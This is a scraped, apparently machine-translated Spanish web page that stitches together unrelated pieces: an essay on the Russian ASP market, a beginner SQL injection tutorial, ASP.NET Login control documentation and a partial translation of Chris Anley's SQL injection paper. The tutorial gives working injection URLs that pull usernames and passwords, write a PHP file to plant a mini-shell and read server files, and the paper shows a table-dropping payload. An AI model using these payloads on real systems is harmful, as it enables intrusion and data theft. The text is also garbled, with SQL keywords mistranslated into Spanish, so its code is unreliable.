Menú
Está libre
Registro
hogar  /  Instalación y configuración/ Inyecciones básicas de sql en aplicaciones que utilizan el lenguaje SQL. Guía para tontos

Inyecciones básicas de sql en aplicaciones que utilizan el lenguaje SQL. Guía para tontos

En la actualidad, no se puede argumentar que se haya formado un mercado ASP completo en Rusia. Los usuarios rusos, en su mayoría, aún no perciben el concepto ASP como útil para su negocio. Actualmente (en el momento de escribir este artículo) mercado ruso no hay un solo ejemplo exitoso de una implementación a gran escala del modelo ASP en una gran empresa. De hecho, solo hay alojamiento, elementos implementados individualmente del modelo ASP, empresas que desean participar en negocios ASP, etc. Es decir, todavía no hay implementación del modelo ASP clásico en Rusia.

Ahora, en el mercado ruso, el modelo ASP es aplicable solo a servicios de correo personalizado (Mail.ru, Beep.ru, Freemail.ru, etc.) y servicios especializados de alta tecnología (por ejemplo, banners y motores de búsqueda, sistemas de estadísticas de Internet , etc). Al mismo tiempo, bajo el contrato de arrendamiento de servicios de correo se entiende no solo la provisión de un buzón personal para cada usuario individual. Libre servidores de correo son ampliamente utilizados en el sector corporativo por pequeñas empresas y empresarios privados. Los principales clientes de dichos servicios son empresas que desean organizar un servicio de correo corporativo (o automatizar la gestión de documentos corporativos) o proveedores de Internet (por ejemplo, portales Rambler.ru, Yandex.ru, etc.) que desean organizar un correo web gratuito servicio para su audiencia.

Existe cierto interés de los usuarios rusos en el alquiler de tiendas electrónicas (escaparates en la plataforma de comercio electrónico). Y esto es bastante comprensible. Dado que todavía hay muy, muy pocos ejemplos exitosos de comercio en línea en Rusia (a pesar de las fuertes declaraciones de varias empresas sobre sus impresionantes logros), parece más razonable gastar un orden de magnitud menos dinero en el alquiler de una tienda electrónica (que comprarlo y mantenerlo). En caso de fracaso del proyecto, se puede reducir con bastante rapidez y sin pérdidas significativas. El alquiler de aplicaciones ERP, que está muy extendido en Occidente, ahora se encuentra en Rusia solo en la etapa de proyectos piloto.

De las aplicaciones que se ofrecen en alquiler, se pueden observar tanto suites ofimáticas relativamente simples (como MS Office) como aplicaciones más complejas (como Lotus Smart Suite), así como sistemas ERP (como Navision Axapta).

Los principales problemas y características del mercado ASP ruso.

10.2 Problemas en el mercado ruso.

En la actualidad, el mercado ruso de ASP va a la zaga del mercado mundial de ASP en al menos varios años. El estado rudimentario del mercado ASP ruso se debe a una serie de problemas que existen en él. Los principales de estos problemas son:

1. El retraso general de la economía rusa con respecto a la occidental y el subdesarrollo de la infraestructura técnica de las empresas. Hasta ahora, la mayoría de las empresas rusas operan sobre la infraestructura técnica creada hace décadas. Actualmente, las inversiones de las empresas en su modernización aún son insuficientes. Y aquí el problema son más bien las prioridades financieras de las empresas, porque. no todos ellos pueden invertir los fondos necesarios en la modernización de la infraestructura técnica. Por lo tanto, tienen que resolver sus problemas actuales a expensas de la infraestructura existente.

2.Baja demanda de servicios ASP. La población y los clientes corporativos no están dispuestos (en su mayoría) a pagar por los servicios de ASP. Si el consumidor ruso promedio ahora simplemente tiene prioridades de gasto más apremiantes y vitales, entonces los usuarios corporativos aún no toman en serio los servicios ASP.

3. Debilidad del marco legal del mercado electrónico. Hasta que se adopte un paquete completo de leyes, no hay necesidad de hablar sobre el desarrollo del mercado electrónico (incluyendo ASP).

4.Estados financieros cerrados de clientes corporativos (especialmente las empresas más solventes).

5. Resistencia del departamento de TI (tanto explícita como implícita) grandes compañias que tienen que reenfocarse en otras tareas, reducir personal y presupuestos de TI, etc.

6. Una pequeña cantidad de aplicaciones que se pueden usar en el modelo ASP para empresas rusas.

7. La presencia en el mercado laboral ruso de un número bastante grande de especialistas en TI de nivel básico y medio con salarios relativamente bajos. Después de la crisis de 1998, la gran mayoría de los salarios de los especialistas en TI se mantuvo en el mismo nivel posterior a la crisis. A veces es más barato para las pequeñas y medianas empresas mantener sus propios servicios de TI que pagar los servicios de ASP (a diferencia de las empresas occidentales, donde la situación es exactamente la opuesta).

Saludos, lector. Últimamente, me he dedicado a la seguridad web y, hasta cierto punto, el trabajo está relacionado con esto. Porque Cada vez más a menudo comencé a notar temas en varios foros, con una solicitud para mostrar cómo funciona todo, decidí escribir un artículo. El artículo estará diseñado para aquellos que no se han encontrado con esto, pero les gustaría aprender. Hay relativamente muchos artículos en la web sobre este tema, pero para los principiantes son un poco complicados. Intentaré describir todo en un lenguaje claro y ejemplos detallados.

Prefacio

Para comprender este artículo, realmente no necesita conocimientos de SQL, pero al menos buena paciencia y un poco de cerebro, para memorizar.

Creo que una sola lectura del artículo no será suficiente, porque. necesitamos ejemplos vivos: como saben, la práctica, en el proceso de memorización, no es superflua. Por lo tanto, escribiremos scripts vulnerables y entrenaremos en ellos.

¿Qué es la inyección SQL?
En términos simples, este es un ataque a la base de datos que le permitirá realizar alguna acción que no fue planeada por el creador del script. Ejemplo de la vida real:

El padre escribió en una nota a su madre que le dio a Vasya 100 rublos y los puso sobre la mesa. Reelaborando esto en un lenguaje SQL de broma, obtenemos:
OBTÉN 100 RUBLOS DE TU BILLETERA Y DÉSELOS A Vasya

Como el padre escribió mal la nota (letra torpe) y la dejó sobre la mesa, el hermano de Vasya, Petya, la vio. Petya, siendo un hacker, agregó "OR Petya" allí y recibió la siguiente solicitud:
OBTENGA 100 RUBLOS DE SU BILLETERA Y DÉSELO A Vasya O Petya

Mamá, después de leer la nota, decidió que ayer le había dado dinero a Vasya y le dio 100 rublos a Petya. Aquí hay un ejemplo simple inyección SQL de la vida :) Sin filtrar los datos (mamá apenas podía distinguir la letra), Petya obtuvo ganancias.

Capacitación
Para practicar, necesitará un archivo con los scripts fuente de este artículo. Descárgalo y descomprímelo en el servidor. Importe también la base de datos y configure los datos en el archivo. cfg.php

búsqueda de inyección de SQL

Como ya entendiste, la inyección proviene de datos entrantes que no se filtran. El error más común es no filtrar el ID pasado. Bueno, en términos generales, sustituya las comillas en todos los campos. ¡Ya sea una solicitud GET/POST o incluso una Cookie!

Parámetro de entrada numérica
Para practicar, necesitamos un script. index1.php. Como dije anteriormente, sustituimos las comillas en el ID de noticias.

Porque nuestra solicitud no tiene filtrado:

$id = $_GET["id"]; $consulta = "SELECCIONAR * DESDE noticias DONDE id=$id";

El script entenderá esto como

SELECCIONE * DESDE noticias DONDE id=1"

Y nos dará un error:
Advertencia: mysql_fetch_array() espera que el parámetro 1 sea un recurso, booleano dado en C:\WebServ\domains\sqlinj\index1.php en la línea 16

Si no se arroja ningún error, puede deberse a las siguientes razones:

1.La inyección de SQL no está aquí: las cotizaciones se filtran o solo se convierten en (En t)
2. Salida de error deshabilitada.

Si sin embargo se ha deducido un error - ¡Hurra! Hemos encontrado el primer tipo de inyección SQL: parámetro de entrada numérico.

Parámetro de entrada de cadena

Las solicitudes se enviarán a index2.php. A archivo dado, la solicitud se ve así:
$usuario = $_GET["usuario"]; $consulta = "SELECCIONAR * DESDE noticias WHERE usuario="$usuario"";

Aquí hacemos una selección de noticias por nombre de usuario y, nuevamente, no filtrar.
Nuevamente enviamos una solicitud con una cotización:

Dio un error. ¡OK! Entonces hay una vulnerabilidad. Eso es suficiente para que empecemos, empecemos a practicar.

tomemos acción

un poco de teoria

Probablemente no pueda esperar para extraer algo de esto, a excepción de los errores. Primero, entienda que el signo " -- " se considera un comentario en SQL.

¡ATENCIÓN! Debe haber espacios antes y después. En la URL se pasan como %20

Se descartará todo lo que venga después del comentario, es decir, la petición:
SELECCIONE * DESDE noticias DONDE usuario="AlexanderPHP" -- habrahabra

Ejecutar con éxito. Puede probarlo en el script index2.php enviando una solicitud como esta:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Aprender parámetro UNIÓN. En lenguaje SQL palabra clave UNIÓN se utiliza para combinar los resultados de dos consultas SQL en una sola tabla. Es decir, para sacar algo que necesitamos de otra mesa.

Aprovechamos esto

Si el parámetro es "Numérico", entonces en la solicitud no necesitamos enviar una cotización y, naturalmente, poner un comentario al final. volver al guion index1.php.

Pasemos al script sqlinj/index1.php?id=1 UNION SELECT 1 . Nuestra consulta de base de datos se ve así:
SELECCIONE * DESDE noticias DONDE id=1 UNION SELECCIONE 1
Y nos dio un error, porque. para trabajar con la agregación de consultas, necesitamos la misma cantidad de campos.

Porque Como no podemos influir en su número en la primera consulta, debemos seleccionar su número en la segunda para que sea igual al primero.

Seleccionamos el número de campos

La selección de campos es muy simple, solo envíe las siguientes solicitudes:
sqlinj/index1.php?id=1 SELECCIÓN DE UNIÓN 1,2
Error…
sqlinj/index1.php?id=1 SELECCIÓN DE UNIÓN 1,2,3
¡Error de nuevo!
sqlinj/index1.php?id=1 SELECCIÓN DE UNIÓN 1,2,3,4,5
¡No hay error! Entonces el número de columnas es 5.

AGRUPAR POR
A menudo sucede que puede haber campos 20 o 40 o incluso 60. Para que no tengamos que revisarlos cada vez, usamos AGRUPAR POR

Si la solicitud
sqlinj/index1.php?id=1 GRUPO POR 2
no dio ningún error, por lo que el número de campos es más de 2. Intentamos:

sqlinj/index1.php?id=1 GRUPO POR 8
Op, vemos un error, por lo que el número de campos es inferior a 8.

Si no hay error con GROUP BY 4, pero hay un error con GROUP BY 6, entonces el número de campos es 5

Definición de columnas de visualización
Para que no se muestre nada desde la primera solicitud, basta con sustituir una ID inexistente, por ejemplo:

sqlinj/index1.php?id=-1 SELECCIÓN DE UNIÓN 1,2,3,4,5


Con esta acción, hemos determinado qué columnas se muestran en la página. ahora, para reemplazar estos números con la información deseada, debe continuar con la consulta.

Salida de datos

Digamos que sabemos que la tabla todavía existe. usuarios en que hay campos identificación, nombre y pasar.
Necesitamos obtener información sobre el usuario con ID=1

Así que construyamos una consulta como esta:

sqlinj/index1.php?id=-1 UNION SELECCIONA 1,2,3,4,5 DE usuarios DONDE id=1
El script también continúa generando

Para ello, sustituiremos el nombre de los campos, por el lugar de los números 1 y 3

sqlinj/index1.php?id=-1 UNION SELECT nombre,2,contraseña,4,5 DESDE usuarios DONDE id=1
¡Tenemos lo que necesitábamos!

Para "parámetro de entrada de cadena" como en el script index2.php debe agregar una comilla al principio y un signo de comentario al final. Ejemplo:
sqlinj/index2.php?user=-1" UNION SELECT nombre,2,contraseña,4,5 DESDE usuarios DONDE id=1 --%20

Leer/Escribir archivos

Para leer y escribir archivos, el usuario de la base de datos debe tener permisos FILE_PRIV.
Escribir archivos
De hecho, todo es muy simple. Para escribir un archivo, usaremos la función PERFIL.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 EN OUTFILE "1.php" --%20
Genial, tenemos el archivo. Por lo tanto, podemos cargar un mini-shell:
sqlinj/index2.php?user=-1" SELECCIÓN DE UNIÓN 1,"",3,4,5 EN EL PERFIL "1.php" --%20
Lectura de archivos
Leer archivos es incluso más fácil que escribirlos. Basta con usar la función. CARGAR ARCHIVO, por el lugar del campo que elijamos:

Sqlinj/index2.php?Usuario=-1" SELECCIÓN DE UNIÓN 1,LOAD_FILE("1.php"),3,4,5 --%20

Por lo tanto, hemos leído el archivo escrito anterior.

Métodos de protección

Protegerse a sí mismo es aún más fácil que explotar una vulnerabilidad. Solo filtra los datos. Si está pasando números, use
$id = (int) $_GET["id"];
Como sugirió el usuario malroc. Defiéndase usando PDO o declaraciones preparadas.

en lugar de completar

Con esto quiero terminar mi primera parte sobre " inyección SQL para principiantes". En el segundo, veremos ejemplos más difíciles de inyecciones. Intente escribir scripts vulnerables y ejecutar consultas usted mismo.
Y recuerda, no confíes en ningún usuario de tu sitio.

Etiquetas: Agregar etiquetas

Control de inicio de sesión

El control de inicio de sesión facilita la creación de una página de inicio de sesión de autenticación de formulario junto con la API de membresía. Proporciona listo para usar interfaz de usuario que solicita el nombre y la contraseña del usuario y ofrece un botón para iniciar la sesión del usuario. Detrás de escena, encapsula la funcionalidad que se describió en el artículo anterior: validar las identidades de los usuarios a través de la API de membresía y encapsula la funcionalidad básica de autenticación de formularios, como redirigir a la página solicitada originalmente en el área segura de la aplicación después de un inicio de sesión exitoso.

Esto significa que Login encapsula cosas como Membership.ValidateUser() o FormsAuthentication.RedirectFromLoginPage() para que no tengas que escribir este código tú mismo. La siguiente figura muestra el control de inicio de sesión en acción:

Cada vez que el usuario hace clic en el botón Iniciar sesión, el control valida automáticamente el nombre de usuario y la contraseña mediante la función Membership.ValidateUser() y luego llama a FormsAuthenication.RedirectFromLoginPage() si la validación es exitosa. Todas las opciones del control de inicio de sesión afectan la entrada que entrega a estos métodos. Por ejemplo, si marca la casilla de verificación Recordarme la próxima vez, será verdadero en el parámetro createPersistentCookie del método RedirectFromLoginPage(). Por lo tanto, FormsAuthenticationModule crea una cookie persistente.

Detrás de escena El inicio de sesión es un control compuesto de ASP.NET. Es completamente extensible, en el sentido de que le permite anular cualquier estilo y propiedad de diseño, así como eventos generados por captura para anular su comportamiento predeterminado. Si deja el control como está y no detecta ningún evento, utilizará automáticamente el proveedor de membresía configurado para la aplicación.

La forma más simple de un control de inicio de sesión en una página se ve así:

Se proporcionan varias propiedades para cambiar la apariencia del control de inicio de sesión. Puede aplicar diferentes configuraciones de estilo, como se muestra a continuación:

También puede usar clases de CSS para personalizar la apariencia del inicio de sesión. Cada propiedad de estilo compatible con el control de inicio de sesión incluye una propiedad CssClass. Al igual que con cualquier otro control ASP.NET, esta propiedad le permite especificar el nombre de una clase CSS que se agregó previamente al sitio web. Supongamos que se agrega la siguiente hoja de estilo CSS al proyecto con el nombre de archivo MyStyles.css:

MyLoginTextBoxStyle (cursor: puntero; color de fondo: amarillo; alineación de texto: centro; relleno: 6 px; borde: negro punteado; familia de fuentes: Verdana; alineación vertical: medio;). Iniciar sesión (pantalla: bloque en línea;) .Título (relleno: 6px;)

Este archivo de estilo se puede incluir en la página de inicio de sesión para poder diseñar el elemento de inicio de sesión:

La siguiente tabla enumera los estilos admitidos por el control de inicio de sesión. Cada estilo funciona de la misma manera. Las propiedades de fuente y color se pueden configurar directamente, o puede usar la propiedad CssClass para especificar la clase CSS deseada:

Estilos compatibles con el control de inicio de sesión
Estilo Descripción
Estilo de casilla de verificación

Define las propiedades de estilo para la casilla de verificación Recordarme la próxima vez

EstiloFalla

Especifica el estilo del texto que se muestra cuando falla el inicio de sesión.

HipervínculoEstilo

El control de inicio de sesión le permite definir varios tipos de hipervínculos, como a la página de registro inicial. Este estilo define la apariencia de dichos hipervínculos.

InstrucciónEstiloTexto

El control de inicio de sesión le permite especificar el texto de ayuda que se muestra directamente dentro de sí mismo. Este estilo define la apariencia de este texto.

LabelStyle

Define el estilo para las etiquetas User Name (Nombre de usuario) y Password (Contraseña)

LoginButtonStyle

Especifica el estilo del botón de inicio de sesión

TextBoxStyle

Especifica el estilo de los campos de texto Nombre de usuario y Contraseña.

TítuloTextoEstilo

Especifica el estilo del texto del encabezado para el control de inicio de sesión

ValidatorTextStyle

Define estilos para los controles utilizados para validar el nombre de usuario y la contraseña

La interfaz de usuario del elemento de inicio de sesión no solo se puede personalizar a través de estos estilos; otras propiedades adicionales son para partes específicas del contenido del control, como el botón Iniciar sesión, que también le permite personalizar la GUI.

Por ejemplo, puede elegir el texto que se muestra en el botón de inicio de sesión, o incluso mostrar un hipervínculo en lugar de este botón (como está configurado de forma predeterminada). Además, puede agregar varios hipervínculos al control de inicio de sesión, como un enlace a una página de ayuda o una página de registro. Ambas páginas deben estar abiertas para el acceso anónimo porque también se debe ofrecer ayuda a los usuarios anónimos (recuerde que si alguien ve el control de inicio de sesión, es potencialmente un usuario anónimo). Para incluir enlaces adicionales en Login, modifique la definición mostrada anteriormente de la siguiente manera:

...

Este código muestra dos enlaces adicionales, uno a la página de ayuda y otro a la página de registro inicial, y agrega un breve texto de instrucciones debajo del encabezado del elemento de inicio de sesión:

Los estilos descritos anteriormente también se aplican a estas propiedades. La siguiente tabla describe las propiedades importantes para personalizar el control de inicio de sesión:

Propiedades importantes para personalizar el control de inicio de sesión
Propiedad Descripción
Mensaje de texto
Texto del título

El texto que se muestra en el título del control.

instruccióntexto

Esta propiedad ya se ha utilizado en el fragmento de código anterior. Contiene el texto que se muestra debajo del título del control.

Texto de falla

Texto que muestra el control de inicio de sesión si falla el intento de inicio de sesión

Texto de etiqueta de nombre de usuario

Texto que se muestra como una etiqueta delante del campo de texto del nombre de usuario

ContraseñaEtiquetaTexto

Texto que se muestra como una etiqueta delante del campo de texto de la contraseña del usuario

nombre de usuario

Valor inicial que completa el campo de texto del nombre de usuario

Nombre de usuarioRequiredErrorMessage

Mensaje de error que se muestra si el usuario no ha ingresado un nombre

ContraseñaRequeridoErrorMensaje

Aparece un mensaje de error si el usuario no ha ingresado una contraseña

Botón de inicio de sesión
Texto del botón de inicio de sesión

Texto que se muestra en el botón de inicio de sesión

Tipo de botón de inicio de sesión
LoginButtonImageUrl

Si el botón de inicio de sesión se presenta como una imagen gráfica, debe especificar la URL donde se encuentra esta imagen

Página de inicio de sesión
DestinationPageUrl

Si el intento de inicio de sesión fue exitoso, el control de inicio de sesión redirige al usuario a esta página. De forma predeterminada, esta propiedad está vacía. Si está vacío, utiliza el marco de autenticación de formularios para redirigir a la página solicitada original o a la URL predeterminada configurada en web.config para la autenticación de formularios.

FalloAcción

Especifica la acción que realiza el control después de un intento fallido de inicio de sesión. Las dos opciones válidas son Refresh y RedirectToLoginPage. El primer valor hace que solo se actualice la página actual, mientras que el segundo valor redirige a la página de inicio de sesión configurada. La segunda opción es útil si el control de inicio de sesión se utiliza en otro lugar que no sea la página de inicio de sesión.

Visible al iniciar sesión

Si se establece en falso, el control se oculta automáticamente si el usuario ya inició sesión. Si se establece en verdadero (predeterminado), el elemento Inicio de sesión se muestra incluso si el usuario ha iniciado sesión.

Personalización de la etiqueta "Recordarme"
PantallaRecordarme

Le permite mostrar u ocultar la casilla de verificación Recordarme la próxima vez. Esta propiedad se establece en verdadero de forma predeterminada.

RecuérdameConjunto

Especifica el valor predeterminado de la casilla de verificación Recordarme la próxima vez. De forma predeterminada, esta propiedad se establece en falso, es decir, la casilla de verificación no está marcada

Página de registro
CreateUserUrl

Define un hipervínculo a la página de un sitio web que le permite crear (registrar) un usuario. Por lo tanto, esto se usa comúnmente para permitir que el usuario acceda a la página de registro inicial. Esto normalmente muestra el control CreateUserWizard.

CreateUserText
CreateUserIconUrl

La URL del gráfico que se mostrará con el texto del hipervínculo CreateUserUrl

Página de ayuda
URL de la página de ayuda

URL para redirigir al usuario a la página de ayuda

Texto de la página de ayuda
HelpPageIconUrl

La URL del icono que se muestra junto con el texto del hipervínculo HelpPageUrl

Página de recuperación de contraseña
Url de recuperación de contraseña

La URL para redirigir al usuario a la página de recuperación de contraseña. Esta página se utiliza cuando el usuario ha olvidado la contraseña. Por lo general, muestra un control PasswordRecovery

PasswordRecoveryText
PasswordRecoveryIconUrl

La URL del icono que se muestra junto con el texto del hipervínculo PasswordRecoveryUrl

Plantillas y el control de inicio de sesión

Como puede ver, gracias a todas estas propiedades, el control de inicio de sesión es altamente personalizable. Pero como probablemente haya notado, es imposible definir una expresión para validar la entrada. Por supuesto, puede implementar la validación del lado del servidor dentro de los procedimientos de eventos que ofrece el control de inicio de sesión. Cuando desee agregar algunos elementos al control compuesto de inicio de sesión, no puede hacerlo a través de las propiedades anteriores. Por ejemplo, ¿qué sucede si necesita un segundo campo de texto para una autenticación sólida con una segunda contraseña o clave de acceso personalizada, como se hace en algunos sitios gubernamentales?

Afortunadamente, al igual que otros controles como GridView, el control de inicio de sesión admite plantillas. Usando plantillas, puede personalizar el contenido del control de inicio de sesión sin ninguna restricción. Puede agregarle cualquier control nuevo. Aplica una plantilla personalizada al control de inicio de sesión mediante un identificador Plantilla de diseño:

Iniciar sesión

Nombre de usuario:
Clave:


Mirando el código anterior, surge una pregunta: si tiene que escribir tanto código de interfaz de usuario al personalizar una plantilla (o diseñarla en un diseñador visual), ¿por qué no escribir su propia página de inicio de sesión sin usar el control de inicio de sesión?

Esta es la pregunta correcta. Sin embargo, como se explicó anteriormente, la parte de la interfaz es solo una parte del elemento de inicio de sesión. Por ejemplo, en el caso de que un usuario haga clic en el botón de inicio de sesión, el control de inicio de sesión ya tiene todo el código necesario para validar automáticamente al usuario en la tienda de membresía y redirigir al usuario a la página original que solicitó a través del marco de autenticación de formularios. Así que definitivamente te ahorras la molestia de escribir este código.

Con los controles correctos y los valores de ID correctos para esos controles, no necesitará escribir ningún código de manejo de eventos. El código funciona de la manera habitual, excepto que define un conjunto de controles y su diseño. De hecho, el control de inicio de sesión requiere al menos dos campos de texto con ID de nombre de usuario y contraseña. Si faltan estos dos campos de texto (o tienen valores de ID diferentes), el inicio de sesión generará una excepción. Todos los demás controles son opcionales, pero si proporciona un valor de ID adecuado (como Iniciar sesión para un botón de inicio de sesión), Iniciar sesión manejará automáticamente sus eventos y se comportará como lo harían cuando se aplica el diseño predeterminado.

La siguiente tabla enumera los valores de identificadores especiales, los tipos de elementos necesarios para ellos y el indicador obligatorio:

El control de inicio de sesión puede ser cualquier control que admita la propagación de eventos y una propiedad CommandName. Es importante establecer la propiedad CommandName de este elemento en Iniciar sesión, porque de lo contrario, el control de inicio de sesión no lo reconocerá durante el manejo de eventos. Si no agrega un control con una propiedad CommandName establecida en Inicio de sesión, tendrá que manejar los eventos usted mismo y escribir el código apropiado para validar el nombre de usuario y la contraseña y redirigir a la página solicitada original.

También puede agregar controles con otras ID que no tienen nada que ver con el inicio de sesión. El código anterior utilizó los elementos RequiredFieldValidator y RegularExpressionValidator para validar los campos de nombre de usuario y contraseña.

Al usar LayoutTemplate, muchas de las propiedades que son nativas del control dejan de estar disponibles. Cuando se aplica una plantilla, solo quedan disponibles las siguientes propiedades:

    DestinationPageUrl

    Visible al iniciar sesión

  • MembresíaProveedor

Todas las propiedades de estilo y varias propiedades para configurar el contenido de texto de los elementos predeterminados ya no están disponibles en el Editor de propiedades de Visual Studio, ya que se pueden agregar manualmente como controles individuales o texto estático a la plantilla de elemento de inicio de sesión. Si los agrega al elemento de inicio de sesión en el modo de plantilla, simplemente se ignorarán porque la plantilla anula la interfaz predeterminada del elemento de inicio de sesión que usa estas propiedades.

Programación del control de inicio de sesión

El control de inicio de sesión admite varios eventos y propiedades que puede usar para personalizar su comportamiento. Proporcionan un control total sobre el ajuste fino del control de inicio de sesión (junto con otras herramientas de personalización, como plantillas y propiedades de estilo). El control de inicio de sesión admite los eventos enumerados en la siguiente tabla:

Eventos de control de inicio de sesión
Evento Descripción
Iniciando sesión

Activado justo antes de que el usuario sea autenticado por el control

Conectado

Despedido después de que el usuario sea autenticado por el control

Error de inicio de sesión

Se activa cuando el intento de inicio de sesión de un usuario falla por algún motivo (por ejemplo, una contraseña o un nombre de usuario incorrectos)

Autenticar

Iniciado para autenticar a un usuario. Si maneja este evento, debe autenticar al usuario usted mismo y el control de inicio de sesión se basará completamente en su código de autenticación.

Los primeros tres eventos se pueden manejar para realizar algunas acciones antes de la autenticación del usuario, después de la autenticación y si ocurre un error durante la autenticación. Por ejemplo, el evento LoginError se puede usar para redirigir automáticamente al usuario a la página de recuperación de contraseña después de una cierta cantidad de intentos de inicio de sesión, como se muestra a continuación:

Protected void Page_Load(object sender, EventArgs e) ( if (!this.IsPostBack) ViewState["LoginErrors"] = 0; ) protected void Login1_LoginError(object sender, EventArgs e) ( // Si el estado LoginErrors no existe, cree it if (ViewState["LoginErrors"] == null) ViewState["LoginErrors"] = 0; // Incrementa el contador de intentos fallidos de inicio de sesión int ErrorCount = (int)ViewState["LoginErrors"] + 1; ViewState["LoginErrors" "] = ErrorCount; // Comprobar el número de intentos fallidos si ((ErrorCount > 3) && (Login1.PasswordRecoveryUrl != string.Empty)) Response.Redirect(Login1.PasswordRecoveryUrl); )

El control de inicio de sesión activa eventos en el orden que se muestra en la siguiente figura:

Como se mencionó anteriormente, si está detectando el evento de autenticación, debe agregar su propio código de validación de nombre de usuario y contraseña. Propiedad Autenticar mantiene una instancia de la lista de parámetros AuthenticateEventArgs. Esta clase de argumento de evento admite una propiedad denominada Autenticado. Si se establece en verdadero, el control de inicio de sesión asume que la autenticación fue exitosa y activa el evento LoggedIn. Si establece esta propiedad en falso, se mostrará un mensaje de error y se generará el evento LoginError:

Vacío protegido Login1_Authenticate(object sender, AuthenticateEventArgs e) ( if (Membership.ValidateUser(Login1.UserName, Login1.Password)) ( e.Authenticated = true; ) else ( e.Authenticated = false; ) )

Como puede ver, hay acceso directo a los valores ingresados ​​​​a través de las propiedades Nombre de usuario y Contraseña, que contienen el texto ingresado en los campos de texto correspondientes. Si usa controles de plantilla y desea obtener el valor de otro elemento, además de los elementos con ID de nombre de usuario y contraseña, puede usar el método FindControl() para obtener ese elemento adicional. Este método toma el ID del elemento deseado y devuelve una instancia de System.Web.UI.Control. Luego, el objeto resultante simplemente se convierte en el tipo de control deseado y se lee el valor que necesita el método de verificación de identidad de usuario personalizado.

Este trabajo es una traducción de parte de Advanced SQL Injection In SQL Server Applications de Chris Anley. ()
En artículos posteriores, si hay tiempo libre, se completará esta traducción.

PD La traducción será de mayor interés para fines educativos e históricos.

Título original del artículo: Inyección SQL avanzada en aplicaciones SQL.

anotación

Este artículo trata en detalle los métodos generales de "inyección SQL" para la conocida plataforma Microsoft Internet Information Server/Active Server Pages/SQL Server. Analiza varios usos de la inyección de SQL en aplicaciones y explica las técnicas de validación de datos y la seguridad de la base de datos donde se pueden usar las inyecciones.

Introducción

El lenguaje de consulta estructurado (SQL) es un lenguaje estructurado que se utiliza para interactuar con bases de datos. Hay muchos "dialectos" del lenguaje SQL, pero hoy en día, en general, todos se basan en el estándar SQL-92, uno de los primeros estándares ANSI. La principal unidad operativa de SQL es una consulta, que es una colección de expresiones que normalmente devuelven un conjunto de resultados. Las expresiones SQL pueden cambiar la estructura de las bases de datos (usando expresiones de lenguajes de definición de datos - DLL) y administrar su contenido (usando expresiones de lenguajes de manipulación de datos - DML). En este documento, veremos el transact-SQL utilizado en Microsoft SQL Server.

La inyección SQL es posible cuando un atacante puede insertar su propio código SQL en una consulta (query) para controlar los datos que se envían a la aplicación.

Una declaración SQL típica se ve así:

Seleccionar id, nombre, apellido de los autores

Esta expresión toma "id", "nombre" y "apellido" de las columnas de la tabla "autores" y devuelve todas las filas de la tabla. La muestra se puede limitar a un "autor" específico, por ejemplo:

Seleccione id, nombre, apellido de los autores donde nombre = "john" y apellido = "smith"

Cabe señalar que en esta consulta, los literales de cadena están separados por una comilla simple. Se supone que "nombre" y "apellido" son datos introducidos por el usuario. En este caso, el atacante podrá realizar su propia consulta SQL agregando sus propios valores a la aplicación. Por ejemplo:

Nombre: jo "hn Apellido: smith

Entonces la expresión tomará la siguiente forma:

Seleccione id, nombre, apellido de los autores donde nombre = "jo"hn" y apellido = "smith"

Después de que la base de datos intente procesar dicha consulta, se devolverá el siguiente error:

Servidor: Mensaje 170, Nivel 15, Estado 1, Línea 1 Línea 1: Sintaxis incorrecta cerca de "hn".

El motivo del error será que la comilla simple ingresada alterará la estructura del delimitador en la consulta. Por lo tanto, la base de datos intentará ejecutar el comando "hn" sin éxito, lo que dará como resultado un error. Como resultado, si un atacante ingresa la siguiente información en el formulario:

Nombre: jo"; autores de la tabla desplegable-- Apellido:

La tabla "autores" se eliminará, por qué sucede esto lo veremos más adelante.

Podría pensar que si eliminamos las comillas simples del formulario de entrada y también las "reemplazamos", eso podría resolver nuestro problema. Y tendrá razón, sin embargo, existen algunos problemas con el uso de este método como solución a este problema. Primero, no todas las entradas del usuario son "cadenas". Si el formulario de usuario contendrá el "id" del autor, que suele ser un número. Por ejemplo, nuestra solicitud podría verse así:

Seleccione id, nombre, apellido de los autores donde id=1234

En este caso, el cracker puede agregar libremente cualquier expresión SQL después de los datos numéricos. En otras variedades de consultas SQL, se utilizan diferentes delimitadores. Por ejemplo, en Microsoft Jet DBMS, el delimitador sería "#". En segundo lugar, las comillas simples "de escape" no son la forma más fácil de proteger, como podría parecer al principio. Hablaremos más sobre esto más adelante.

Tomemos un ejemplo basado en una página de inicio de sesión basada en Active Server Pages (ASP) que usa SQL para acceder a una base de datos para autorizar a un usuario en una aplicación.

Aquí está el código de la página que contiene el formulario de inicio de sesión, en el que se ingresan el nombre de usuario y la contraseña.

Página de inicio de sesión

Acceso

nombre de usuario:
Clave:

A continuación se muestra el código (process_login.asp) que determina la exactitud de los datos ingresados.